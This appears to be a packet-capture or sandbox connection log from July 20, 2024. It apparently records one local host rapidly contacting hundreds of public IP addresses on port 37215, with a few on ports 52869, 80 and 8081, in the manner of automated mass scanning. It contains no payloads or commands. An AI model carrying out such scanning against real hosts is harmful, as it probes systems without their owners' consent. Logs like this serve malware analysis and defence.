Jul 20, 2024 23:01:03.456125021 CEST	37215	52725	96.50.39.180	192.168.2.14
Jul 20, 2024 23:01:03.456130028 CEST	37215	52725	41.204.105.129	192.168.2.14
Jul 20, 2024 23:01:03.456139088 CEST	37215	52725	41.171.220.22	192.168.2.14
Jul 20, 2024 23:01:03.456142902 CEST	37215	52725	41.233.133.241	192.168.2.14
Jul 20, 2024 23:01:03.456151962 CEST	37215	52725	197.147.15.112	192.168.2.14
Jul 20, 2024 23:01:03.456156015 CEST	37215	52725	48.200.124.66	192.168.2.14
Jul 20, 2024 23:01:03.456160069 CEST	37215	52725	157.102.88.79	192.168.2.14
Jul 20, 2024 23:01:03.456168890 CEST	37215	52725	197.138.28.9	192.168.2.14
Jul 20, 2024 23:01:03.456173897 CEST	37215	52725	157.89.201.91	192.168.2.14
Jul 20, 2024 23:01:03.456182003 CEST	37215	52725	221.232.156.2	192.168.2.14
Jul 20, 2024 23:01:03.456187010 CEST	37215	52725	197.91.36.141	192.168.2.14
Jul 20, 2024 23:01:03.456199884 CEST	37215	52725	197.198.173.107	192.168.2.14
Jul 20, 2024 23:01:03.456435919 CEST	37215	52725	157.232.183.8	192.168.2.14
Jul 20, 2024 23:01:03.456440926 CEST	37215	52725	157.69.199.211	192.168.2.14
Jul 20, 2024 23:01:03.456449986 CEST	37215	52725	157.156.34.177	192.168.2.14
Jul 20, 2024 23:01:03.456454992 CEST	37215	52725	197.198.171.240	192.168.2.14
Jul 20, 2024 23:01:03.456666946 CEST	52725	37215	192.168.2.14	149.111.221.178
Jul 20, 2024 23:01:03.456666946 CEST	52725	37215	192.168.2.14	41.163.219.39
Jul 20, 2024 23:01:03.456666946 CEST	52725	37215	192.168.2.14	67.242.247.76
Jul 20, 2024 23:01:03.456666946 CEST	52725	37215	192.168.2.14	157.174.72.27
Jul 20, 2024 23:01:03.456666946 CEST	52725	37215	192.168.2.14	197.12.162.172
Jul 20, 2024 23:01:03.456667900 CEST	52725	37215	192.168.2.14	18.195.237.42
Jul 20, 2024 23:01:03.456667900 CEST	52725	37215	192.168.2.14	85.249.61.53
Jul 20, 2024 23:01:03.456667900 CEST	52725	37215	192.168.2.14	197.200.181.146
Jul 20, 2024 23:01:03.456839085 CEST	37215	52725	157.32.53.131	192.168.2.14
Jul 20, 2024 23:01:03.456844091 CEST	37215	52725	157.239.188.37	192.168.2.14
Jul 20, 2024 23:01:03.456852913 CEST	37215	52725	157.212.111.29	192.168.2.14
Jul 20, 2024 23:01:03.456857920 CEST	37215	52725	84.58.208.79	192.168.2.14
Jul 20, 2024 23:01:03.457154989 CEST	37215	52725	197.211.156.8	192.168.2.14
Jul 20, 2024 23:01:03.457164049 CEST	37215	52725	119.104.173.17	192.168.2.14
Jul 20, 2024 23:01:03.457168102 CEST	37215	52725	197.65.248.102	192.168.2.14
Jul 20, 2024 23:01:03.457240105 CEST	37215	52725	45.168.126.225	192.168.2.14
Jul 20, 2024 23:01:03.457245111 CEST	37215	52725	49.240.11.144	192.168.2.14
Jul 20, 2024 23:01:03.457253933 CEST	37215	52725	197.216.107.62	192.168.2.14
Jul 20, 2024 23:01:03.457535028 CEST	37215	52725	157.94.206.239	192.168.2.14
Jul 20, 2024 23:01:03.457540035 CEST	37215	52725	157.85.25.154	192.168.2.14
Jul 20, 2024 23:01:03.457549095 CEST	37215	52725	112.118.31.143	192.168.2.14
Jul 20, 2024 23:01:03.457694054 CEST	37215	52725	41.32.58.72	192.168.2.14
Jul 20, 2024 23:01:03.457699060 CEST	37215	52725	41.116.209.33	192.168.2.14
Jul 20, 2024 23:01:03.457818031 CEST	37215	52725	58.195.53.166	192.168.2.14
Jul 20, 2024 23:01:03.457823038 CEST	37215	52725	41.99.96.147	192.168.2.14
Jul 20, 2024 23:01:03.457833052 CEST	37215	52725	197.153.78.108	192.168.2.14
Jul 20, 2024 23:01:03.457977057 CEST	37215	52725	41.127.244.231	192.168.2.14
Jul 20, 2024 23:01:03.458049059 CEST	37215	52725	197.233.138.129	192.168.2.14
Jul 20, 2024 23:01:03.458053112 CEST	37215	52725	197.37.56.19	192.168.2.14
Jul 20, 2024 23:01:03.458061934 CEST	37215	52725	157.46.64.49	192.168.2.14
Jul 20, 2024 23:01:03.458106041 CEST	37215	52725	42.124.189.109	192.168.2.14
Jul 20, 2024 23:01:03.458110094 CEST	37215	52725	65.171.178.93	192.168.2.14
Jul 20, 2024 23:01:03.458519936 CEST	37215	52725	197.228.120.64	192.168.2.14
Jul 20, 2024 23:01:03.458642006 CEST	37215	52725	161.234.199.200	192.168.2.14
Jul 20, 2024 23:01:03.458647013 CEST	37215	52725	41.28.196.52	192.168.2.14
Jul 20, 2024 23:01:03.458655119 CEST	37215	52725	157.59.173.180	192.168.2.14
Jul 20, 2024 23:01:03.458659887 CEST	37215	52725	157.97.83.71	192.168.2.14
Jul 20, 2024 23:01:03.458858967 CEST	52725	37215	192.168.2.14	197.211.130.216
Jul 20, 2024 23:01:03.458858967 CEST	52725	37215	192.168.2.14	41.181.191.35
Jul 20, 2024 23:01:03.458859921 CEST	52725	37215	192.168.2.14	157.120.40.109
Jul 20, 2024 23:01:03.458859921 CEST	52725	37215	192.168.2.14	41.177.182.89
Jul 20, 2024 23:01:03.458859921 CEST	52725	37215	192.168.2.14	41.34.107.16
Jul 20, 2024 23:01:03.458859921 CEST	52725	37215	192.168.2.14	41.107.164.92
Jul 20, 2024 23:01:03.458859921 CEST	52725	37215	192.168.2.14	148.29.0.19
Jul 20, 2024 23:01:03.458859921 CEST	52725	37215	192.168.2.14	41.43.224.222
Jul 20, 2024 23:01:03.459002972 CEST	37215	52725	199.61.145.35	192.168.2.14
Jul 20, 2024 23:01:03.459007025 CEST	37215	52725	41.42.5.74	192.168.2.14
Jul 20, 2024 23:01:03.459016085 CEST	37215	52725	157.156.72.128	192.168.2.14
Jul 20, 2024 23:01:03.459045887 CEST	37215	52725	197.224.197.36	192.168.2.14
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	157.140.241.183
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	134.114.43.200
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	87.194.130.244
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	207.12.253.202
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	197.136.193.143
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	41.197.206.221
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	197.32.220.2
Jul 20, 2024 23:01:03.459153891 CEST	52725	37215	192.168.2.14	157.62.137.190
Jul 20, 2024 23:01:03.459198952 CEST	37215	52725	157.28.208.36	192.168.2.14
Jul 20, 2024 23:01:03.459203959 CEST	37215	52725	157.200.153.251	192.168.2.14
Jul 20, 2024 23:01:03.459208012 CEST	52725	37215	192.168.2.14	208.162.133.146
Jul 20, 2024 23:01:03.459208012 CEST	52725	37215	192.168.2.14	41.116.147.110
Jul 20, 2024 23:01:03.459208012 CEST	52725	37215	192.168.2.14	197.24.155.216
Jul 20, 2024 23:01:03.459208965 CEST	52725	37215	192.168.2.14	212.240.183.0
Jul 20, 2024 23:01:03.459208965 CEST	52725	37215	192.168.2.14	157.98.176.2
Jul 20, 2024 23:01:03.459300995 CEST	37215	52725	157.155.48.39	192.168.2.14
Jul 20, 2024 23:01:03.459464073 CEST	37215	52725	41.26.105.139	192.168.2.14
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	165.96.229.239
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	157.36.75.196
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	41.222.58.112
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	85.25.104.53
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	197.158.177.62
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	157.86.212.247
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	197.58.85.188
Jul 20, 2024 23:01:03.459486008 CEST	52725	37215	192.168.2.14	73.226.113.9
Jul 20, 2024 23:01:03.459697008 CEST	37215	52725	157.205.166.142	192.168.2.14
Jul 20, 2024 23:01:03.459702015 CEST	37215	52725	9.1.245.191	192.168.2.14
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	18.203.170.108
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	125.104.15.142
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	207.29.111.74
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	41.112.21.71
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	157.95.112.138
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	41.5.49.247
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	157.22.42.117
Jul 20, 2024 23:01:03.459834099 CEST	52725	37215	192.168.2.14	157.27.156.252
Jul 20, 2024 23:01:03.459887028 CEST	52725	37215	192.168.2.14	157.233.145.134
Jul 20, 2024 23:01:03.459887028 CEST	52725	37215	192.168.2.14	157.40.172.177
Jul 20, 2024 23:01:03.459887028 CEST	52725	37215	192.168.2.14	41.145.104.63
Jul 20, 2024 23:01:03.459887028 CEST	46384	52869	192.168.2.14	172.76.44.174
Jul 20, 2024 23:01:03.459887028 CEST	52725	37215	192.168.2.14	41.167.203.181
Jul 20, 2024 23:01:03.459887028 CEST	52725	37215	192.168.2.14	157.60.163.175
Jul 20, 2024 23:01:03.460011959 CEST	37215	52725	41.234.82.81	192.168.2.14
Jul 20, 2024 23:01:03.460016966 CEST	37215	52725	157.159.57.3	192.168.2.14
Jul 20, 2024 23:01:03.460372925 CEST	37215	52725	157.231.97.191	192.168.2.14
Jul 20, 2024 23:01:03.460377932 CEST	37215	52725	168.204.135.219	192.168.2.14
Jul 20, 2024 23:01:03.460395098 CEST	37215	52725	92.64.109.2	192.168.2.14
Jul 20, 2024 23:01:03.460400105 CEST	37215	52725	211.171.110.94	192.168.2.14
Jul 20, 2024 23:01:03.460408926 CEST	37215	52725	41.63.204.221	192.168.2.14
Jul 20, 2024 23:01:03.460413933 CEST	37215	52725	197.248.165.153	192.168.2.14
Jul 20, 2024 23:01:03.460419893 CEST	37215	52725	197.57.12.65	192.168.2.14
Jul 20, 2024 23:01:03.460424900 CEST	37215	52725	197.186.136.100	192.168.2.14
Jul 20, 2024 23:01:03.460428953 CEST	37215	52725	175.127.227.163	192.168.2.14
Jul 20, 2024 23:01:03.461055994 CEST	37215	52725	197.195.21.87	192.168.2.14
Jul 20, 2024 23:01:03.461065054 CEST	37215	52725	197.56.204.138	192.168.2.14
Jul 20, 2024 23:01:03.461070061 CEST	37215	52725	157.164.58.12	192.168.2.14
Jul 20, 2024 23:01:03.461077929 CEST	37215	52725	47.41.98.206	192.168.2.14
Jul 20, 2024 23:01:03.461082935 CEST	37215	52725	41.176.13.97	192.168.2.14
Jul 20, 2024 23:01:03.461198092 CEST	37215	52725	41.206.151.131	192.168.2.14
Jul 20, 2024 23:01:03.461201906 CEST	37215	52725	157.253.2.101	192.168.2.14
Jul 20, 2024 23:01:03.461210966 CEST	37215	52725	157.140.225.255	192.168.2.14
Jul 20, 2024 23:01:03.461441994 CEST	37215	52725	105.210.119.80	192.168.2.14
Jul 20, 2024 23:01:03.461447001 CEST	37215	52725	157.35.237.125	192.168.2.14
Jul 20, 2024 23:01:03.461451054 CEST	37215	52725	41.139.96.255	192.168.2.14
Jul 20, 2024 23:01:03.461688995 CEST	37215	52725	41.157.157.252	192.168.2.14
Jul 20, 2024 23:01:03.461698055 CEST	37215	52725	157.29.81.159	192.168.2.14
Jul 20, 2024 23:01:03.461837053 CEST	37215	52725	157.44.22.241	192.168.2.14
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	41.102.18.57
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	157.27.100.110
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	197.178.140.168
Jul 20, 2024 23:01:03.461942911 CEST	48412	80	192.168.2.14	88.212.58.197
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	157.226.43.130
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	41.176.52.249
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	41.71.249.32
Jul 20, 2024 23:01:03.461942911 CEST	52725	37215	192.168.2.14	222.112.36.27
Jul 20, 2024 23:01:03.462088108 CEST	37215	52725	149.111.221.178	192.168.2.14
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	41.245.110.189
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	197.103.42.133
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	197.175.37.183
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	41.59.243.36
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	97.234.89.166
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	157.173.59.248
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	197.145.165.222
Jul 20, 2024 23:01:03.462130070 CEST	52725	37215	192.168.2.14	157.185.100.168
Jul 20, 2024 23:01:03.462549925 CEST	37215	52725	197.245.150.186	192.168.2.14
Jul 20, 2024 23:01:03.462554932 CEST	37215	52725	197.160.7.39	192.168.2.14
Jul 20, 2024 23:01:03.462619066 CEST	37215	52725	41.163.219.39	192.168.2.14
Jul 20, 2024 23:01:03.462622881 CEST	37215	52725	157.65.23.29	192.168.2.14
Jul 20, 2024 23:01:03.462626934 CEST	37215	52725	109.237.129.172	192.168.2.14
Jul 20, 2024 23:01:03.462640047 CEST	52725	37215	192.168.2.14	197.38.231.171
Jul 20, 2024 23:01:03.462640047 CEST	52725	37215	192.168.2.14	197.9.56.149
Jul 20, 2024 23:01:03.462640047 CEST	45164	52869	192.168.2.14	188.154.109.67
Jul 20, 2024 23:01:03.462641001 CEST	52725	37215	192.168.2.14	157.139.36.46
Jul 20, 2024 23:01:03.462641001 CEST	52725	37215	192.168.2.14	175.136.209.167
Jul 20, 2024 23:01:03.462641001 CEST	52725	37215	192.168.2.14	157.73.176.224
Jul 20, 2024 23:01:03.462641001 CEST	52725	37215	192.168.2.14	41.203.149.103
Jul 20, 2024 23:01:03.462641001 CEST	52725	37215	192.168.2.14	197.150.84.25
Jul 20, 2024 23:01:03.462723970 CEST	37215	52725	67.242.247.76	192.168.2.14
Jul 20, 2024 23:01:03.462852001 CEST	37215	52725	157.132.3.133	192.168.2.14
Jul 20, 2024 23:01:03.462856054 CEST	37215	52725	157.174.72.27	192.168.2.14
Jul 20, 2024 23:01:03.462865114 CEST	37215	52725	41.131.226.159	192.168.2.14
Jul 20, 2024 23:01:03.462987900 CEST	37215	52725	197.12.159.55	192.168.2.14
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	41.36.109.130
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	18.185.167.223
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	197.1.252.213
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	157.166.67.79
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	197.252.184.130
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	197.82.199.168
Jul 20, 2024 23:01:03.463216066 CEST	52725	37215	192.168.2.14	221.40.188.74
Jul 20, 2024 23:01:03.463246107 CEST	37215	52725	197.12.162.172	192.168.2.14
Jul 20, 2024 23:01:03.463349104 CEST	52725	37215	192.168.2.14	41.104.226.171
Jul 20, 2024 23:01:03.463349104 CEST	52725	37215	192.168.2.14	204.86.40.252
Jul 20, 2024 23:01:03.463349104 CEST	52725	37215	192.168.2.14	41.128.241.73
Jul 20, 2024 23:01:03.463349104 CEST	52725	37215	192.168.2.14	197.92.37.182
Jul 20, 2024 23:01:03.463350058 CEST	52725	37215	192.168.2.14	117.170.200.63
Jul 20, 2024 23:01:03.463350058 CEST	52725	37215	192.168.2.14	157.99.211.107
Jul 20, 2024 23:01:03.463350058 CEST	52725	37215	192.168.2.14	41.26.93.154
Jul 20, 2024 23:01:03.463469028 CEST	37215	52725	157.101.161.185	192.168.2.14
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	171.186.170.148
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	157.24.24.17
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	174.109.179.10
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	157.150.55.229
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	41.93.226.90
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	197.41.90.82
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	80.185.13.173
Jul 20, 2024 23:01:03.463576078 CEST	52725	37215	192.168.2.14	41.204.105.129
Jul 20, 2024 23:01:03.463947058 CEST	52725	37215	192.168.2.14	197.234.163.92
Jul 20, 2024 23:01:03.463947058 CEST	52725	37215	192.168.2.14	117.81.229.141
Jul 20, 2024 23:01:03.463948011 CEST	40850	52869	192.168.2.14	2.115.51.25
Jul 20, 2024 23:01:03.463948011 CEST	39486	80	192.168.2.14	88.171.103.168
Jul 20, 2024 23:01:03.463948011 CEST	52725	37215	192.168.2.14	41.234.78.35
Jul 20, 2024 23:01:03.463948011 CEST	52725	37215	192.168.2.14	41.151.24.238
Jul 20, 2024 23:01:03.463948011 CEST	52725	37215	192.168.2.14	197.207.13.167
Jul 20, 2024 23:01:03.463948011 CEST	52725	37215	192.168.2.14	221.20.1.26
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	157.87.213.70
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	157.84.150.154
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	156.148.239.165
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	41.10.3.139
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	41.67.230.166
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	125.4.32.65
Jul 20, 2024 23:01:03.464052916 CEST	52725	37215	192.168.2.14	157.242.91.59
Jul 20, 2024 23:01:03.464078903 CEST	37215	52725	41.213.121.33	192.168.2.14
Jul 20, 2024 23:01:03.464083910 CEST	37215	52725	41.159.245.252	192.168.2.14
Jul 20, 2024 23:01:03.464093924 CEST	37215	52725	197.74.37.195	192.168.2.14
Jul 20, 2024 23:01:03.464097977 CEST	37215	52725	85.249.61.53	192.168.2.14
Jul 20, 2024 23:01:03.464102983 CEST	37215	52725	197.211.130.216	192.168.2.14
Jul 20, 2024 23:01:03.464359045 CEST	37215	52725	197.140.242.193	192.168.2.14
Jul 20, 2024 23:01:03.464364052 CEST	37215	52725	197.200.181.146	192.168.2.14
Jul 20, 2024 23:01:03.464371920 CEST	37215	52725	41.181.191.35	192.168.2.14
Jul 20, 2024 23:01:03.464474916 CEST	37215	52725	41.25.63.79	192.168.2.14
Jul 20, 2024 23:01:03.464483976 CEST	37215	52725	197.33.157.33	192.168.2.14
Jul 20, 2024 23:01:03.464498043 CEST	37215	52725	197.44.21.237	192.168.2.14
Jul 20, 2024 23:01:03.464586020 CEST	37215	52725	157.146.181.67	192.168.2.14
Jul 20, 2024 23:01:03.464591026 CEST	37215	52725	165.96.229.239	192.168.2.14
Jul 20, 2024 23:01:03.464600086 CEST	37215	52725	157.234.118.231	192.168.2.14
Jul 20, 2024 23:01:03.464605093 CEST	37215	52725	157.36.75.196	192.168.2.14
Jul 20, 2024 23:01:03.464715004 CEST	37215	52725	157.135.101.16	192.168.2.14
Jul 20, 2024 23:01:03.464719057 CEST	37215	52725	41.221.33.91	192.168.2.14
Jul 20, 2024 23:01:03.464728117 CEST	37215	52725	108.92.57.223	192.168.2.14
Jul 20, 2024 23:01:03.464767933 CEST	37215	52725	41.222.58.112	192.168.2.14
Jul 20, 2024 23:01:03.465037107 CEST	37215	52725	157.233.145.134	192.168.2.14
Jul 20, 2024 23:01:03.465042114 CEST	37215	52725	18.203.170.108	192.168.2.14
Jul 20, 2024 23:01:03.465156078 CEST	37215	52725	157.120.40.109	192.168.2.14
Jul 20, 2024 23:01:03.465425014 CEST	37215	52725	157.140.241.183	192.168.2.14
Jul 20, 2024 23:01:03.465430021 CEST	37215	52725	100.131.207.210	192.168.2.14
Jul 20, 2024 23:01:03.465609074 CEST	37215	52725	85.25.104.53	192.168.2.14
Jul 20, 2024 23:01:03.465792894 CEST	37215	52725	197.172.21.48	192.168.2.14
Jul 20, 2024 23:01:03.465797901 CEST	37215	52725	197.158.177.62	192.168.2.14
Jul 20, 2024 23:01:03.466121912 CEST	37215	52725	125.104.15.142	192.168.2.14
Jul 20, 2024 23:01:03.466125965 CEST	37215	52725	134.114.43.200	192.168.2.14
Jul 20, 2024 23:01:03.466236115 CEST	37215	52725	87.194.130.244	192.168.2.14
Jul 20, 2024 23:01:03.466240883 CEST	37215	52725	157.125.212.107	192.168.2.14
Jul 20, 2024 23:01:03.466248989 CEST	37215	52725	207.29.111.74	192.168.2.14
Jul 20, 2024 23:01:03.466346025 CEST	37215	52725	197.9.74.194	192.168.2.14
Jul 20, 2024 23:01:03.466350079 CEST	37215	52725	41.112.21.71	192.168.2.14
Jul 20, 2024 23:01:03.466413021 CEST	37215	52725	157.86.212.247	192.168.2.14
Jul 20, 2024 23:01:03.466418028 CEST	37215	52725	157.21.144.252	192.168.2.14
Jul 20, 2024 23:01:03.466425896 CEST	37215	52725	197.226.130.147	192.168.2.14
Jul 20, 2024 23:01:03.466511011 CEST	37215	52725	157.7.129.75	192.168.2.14
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	157.70.127.19
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	41.120.237.5
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	211.150.3.47
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	197.188.141.9
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	41.171.220.22
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	197.138.28.9
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	197.198.173.107
Jul 20, 2024 23:01:03.466700077 CEST	52725	37215	192.168.2.14	197.216.107.62
Jul 20, 2024 23:01:03.466756105 CEST	37215	52725	157.95.112.138	192.168.2.14
Jul 20, 2024 23:01:03.466761112 CEST	37215	52725	157.40.172.177	192.168.2.14
Jul 20, 2024 23:01:03.466845036 CEST	37215	52725	77.65.52.12	192.168.2.14
Jul 20, 2024 23:01:03.466849089 CEST	37215	52725	197.58.85.188	192.168.2.14
Jul 20, 2024 23:01:03.466857910 CEST	37215	52725	41.5.49.247	192.168.2.14
Jul 20, 2024 23:01:03.466861963 CEST	37215	52725	73.226.113.9	192.168.2.14
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	41.60.103.183
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	197.130.231.11
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	197.100.42.90
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	41.199.112.223
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	197.50.99.150
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	205.156.221.195
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	157.141.214.119
Jul 20, 2024 23:01:03.466938019 CEST	52725	37215	192.168.2.14	212.61.76.50
Jul 20, 2024 23:01:03.467128038 CEST	52725	37215	192.168.2.14	157.38.212.71
Jul 20, 2024 23:01:03.467128038 CEST	52725	37215	192.168.2.14	217.24.35.60
Jul 20, 2024 23:01:03.467128038 CEST	52725	37215	192.168.2.14	157.40.209.86
Jul 20, 2024 23:01:03.467128038 CEST	52725	37215	192.168.2.14	41.135.123.11
Jul 20, 2024 23:01:03.467164040 CEST	37215	52725	197.208.154.119	192.168.2.14
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	157.4.255.227
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	157.180.225.158
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	41.244.165.97
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	157.39.247.83
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	157.176.236.80
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	197.57.12.65
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	41.159.245.252
Jul 20, 2024 23:01:03.467246056 CEST	52725	37215	192.168.2.14	41.25.63.79
Jul 20, 2024 23:01:03.467272997 CEST	37215	52725	41.145.104.63	192.168.2.14
Jul 20, 2024 23:01:03.467278957 CEST	37215	52725	49.119.133.182	192.168.2.14
Jul 20, 2024 23:01:03.467550993 CEST	37215	52725	207.12.253.202	192.168.2.14
Jul 20, 2024 23:01:03.467555046 CEST	37215	52725	197.136.193.143	192.168.2.14
Jul 20, 2024 23:01:03.467664957 CEST	52725	37215	192.168.2.14	41.233.133.241
Jul 20, 2024 23:01:03.467664957 CEST	52725	37215	192.168.2.14	197.198.171.240
Jul 20, 2024 23:01:03.467664957 CEST	52725	37215	192.168.2.14	157.212.111.29
Jul 20, 2024 23:01:03.467665911 CEST	52725	37215	192.168.2.14	197.211.156.8
Jul 20, 2024 23:01:03.467665911 CEST	52725	37215	192.168.2.14	45.168.126.225
Jul 20, 2024 23:01:03.467665911 CEST	52725	37215	192.168.2.14	41.116.209.33
Jul 20, 2024 23:01:03.467665911 CEST	52725	37215	192.168.2.14	197.228.120.64
Jul 20, 2024 23:01:03.467683077 CEST	37215	52725	41.102.18.57	192.168.2.14
Jul 20, 2024 23:01:03.467875957 CEST	52725	37215	192.168.2.14	181.7.138.240
Jul 20, 2024 23:01:03.467875957 CEST	52725	37215	192.168.2.14	187.169.124.166
Jul 20, 2024 23:01:03.467875957 CEST	52725	37215	192.168.2.14	41.167.148.200
Jul 20, 2024 23:01:03.467875957 CEST	52725	37215	192.168.2.14	133.78.34.31
Jul 20, 2024 23:01:03.467875957 CEST	52725	37215	192.168.2.14	197.221.83.254
Jul 20, 2024 23:01:03.467876911 CEST	52725	37215	192.168.2.14	157.193.7.72
Jul 20, 2024 23:01:03.467950106 CEST	37215	52725	157.22.42.117	192.168.2.14
Jul 20, 2024 23:01:03.468271017 CEST	37215	52725	41.197.206.221	192.168.2.14
Jul 20, 2024 23:01:03.468276978 CEST	37215	52725	157.27.100.110	192.168.2.14
Jul 20, 2024 23:01:03.468286037 CEST	37215	52725	197.29.25.95	192.168.2.14
Jul 20, 2024 23:01:03.468547106 CEST	37215	52725	41.167.203.181	192.168.2.14
Jul 20, 2024 23:01:03.468552113 CEST	52869	46384	172.76.44.174	192.168.2.14
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	128.197.81.243
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	197.179.75.211
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	166.80.241.91
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	197.57.156.185
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	197.160.79.126
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	197.123.215.194
Jul 20, 2024 23:01:03.469192982 CEST	52725	37215	192.168.2.14	157.102.88.79
Jul 20, 2024 23:01:03.469281912 CEST	52725	37215	192.168.2.14	151.173.29.9
Jul 20, 2024 23:01:03.469281912 CEST	52725	37215	192.168.2.14	122.197.102.121
Jul 20, 2024 23:01:03.469281912 CEST	52725	37215	192.168.2.14	157.37.64.90
Jul 20, 2024 23:01:03.469281912 CEST	40742	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:03.469281912 CEST	37666	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:03.469281912 CEST	52725	37215	192.168.2.14	157.239.188.37
Jul 20, 2024 23:01:03.469281912 CEST	52725	37215	192.168.2.14	84.58.208.79
Jul 20, 2024 23:01:03.469281912 CEST	52725	37215	192.168.2.14	119.104.173.17
Jul 20, 2024 23:01:03.469300985 CEST	37215	52725	197.32.220.2	192.168.2.14
Jul 20, 2024 23:01:03.469305992 CEST	37215	52725	157.62.137.190	192.168.2.14
Jul 20, 2024 23:01:03.469310045 CEST	37215	52725	157.60.163.175	192.168.2.14
Jul 20, 2024 23:01:03.469315052 CEST	37215	52725	41.245.110.189	192.168.2.14
Jul 20, 2024 23:01:03.469460011 CEST	37215	52725	41.104.226.171	192.168.2.14
Jul 20, 2024 23:01:03.469464064 CEST	37215	52725	157.87.213.70	192.168.2.14
Jul 20, 2024 23:01:03.469474077 CEST	37215	52725	197.234.163.92	192.168.2.14
Jul 20, 2024 23:01:03.470017910 CEST	37215	52725	117.81.229.141	192.168.2.14
Jul 20, 2024 23:01:03.470165014 CEST	52725	37215	192.168.2.14	41.99.96.147
